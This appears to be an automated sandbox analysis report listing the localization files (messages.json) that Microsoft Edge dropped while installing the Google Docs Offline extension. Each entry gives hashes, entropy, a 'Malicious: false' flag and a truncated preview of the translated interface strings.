C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
